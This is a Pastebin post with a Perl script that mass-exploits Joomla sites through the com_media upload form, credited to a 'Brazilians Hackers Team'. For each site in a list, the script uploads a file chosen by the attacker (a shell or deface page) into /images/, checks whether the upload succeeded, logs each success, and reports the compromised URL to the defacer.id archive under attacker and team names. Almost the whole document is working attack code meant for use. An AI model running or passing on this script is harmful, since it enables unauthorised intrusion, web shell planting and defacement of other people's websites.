polisinj00

Auto Exploit Com_Media

Nov 11th, 2017
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.90 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # *** Brazilians Hackers Team ***
  3. # By BrazilObscure
  4.  
  5. use Win32::Console::ANSI;
  6. use Term::ANSIColor;
  7. use LWP::UserAgent;
  8. use HTTP::Request::Common;
  9. if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }
  10.  
  11. print "\n\n";
  12. print"           ";
  13. print colored("--=[ Auto Exploit COM MEDIA + AUTO SUBMIT MIRROR ]=--",'on_red');
  14. print "\n";
  15. print"          ";
  16. print colored("               .::Auto Exploit Com_Media::.",'on_black'),"\n";
  17. print" ";    
  18. print"         ";
  19. sleep(1);
  20.  
  21. ;
  22.  
  23. $file = $ARGV[1];
  24. unless ($file) {
  25. print "\n\n";
  26. print colored (" [*] Tutor : ./$0 sites.txt selena.jpg or selena.txt ",'bold on_green'),"\n";  # jpg ou txt      
  27.  
  28.          exit;
  29. }
  30. open(tarrget,"<$ARGV[0]") or die "$!";
  31. while(<tarrget>){
  32. chomp($_);
  33. $webs = $_;
  34. if($webs !~ /http:\/\//)
  35. {
  36. $webs = "http://$webs";
  37. }
  38. $zeeb = $webs."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";
  39.  
  40. print colored "\n\n [+] Analisis Korban.... ==> $webs",'bold on_blue';
  41.  
  42. $ua = LWP::UserAgent->new;
  43. $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  44. $fucki = $ua->get($zeeb);
  45. $kzz = $fucki->content;
  46. if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
  47. {
  48.       print colored "\n [+] Melakukan Penggeledahan... ==> $webs",'bold on_yellow'; sleep(1);
  49.  
  50. $url = $1;
  51. $url =~ s/&amp;/&/gi;
  52.  
  53. } else { print colored "\n [-] Gk vuln gan ==> $webs",'bold on_red'; sleep(1); }
  54.  
  55. my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);
  56.  
  57. $shell = $webs."/images/".$file;
  58.  
  59. $check = $ua->get($shell);
  60. if($check->content =~/by/ || $check->is_success ) {
  61.  
  62.       print colored "\n [+] Success!!! ==> $shell\n",'bold on_green';
  63.  
  64. open(save ,">>result.txt");
  65. print save "$shell\n";
  66. close save;
  67.  
  68. $res= $ua->post("https://defacer.id/archive/notify",[
  69.                               'attacker'     => 'Kyu_Kazami', # Nick Lu
  70.                                'team' => 'Family Attack Cyber',
  71.                               'poc' => 'SQL Injection',
  72.                                'url'   => $shell,
  73.                               'submit'       => 'Report',
  74.                               ]);
  75.                               if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
  76.                               print colored " [+] Defacer.id $1\n",'bold on_green'; sleep(1);
  77.                               }
  78.                               else
  79.                               {
  80.                               print colored " [-] Gagal Submit!!! \n",'bold on_red'; sleep(1);
  81.                               }
  82.  
  83. } else {  print colored "\n [-] Gagal Upload Asw ",'bold on_red';   }
  84.  
  85.  
  86. }
Advertisement
Add Comment
Please, Sign In to add comment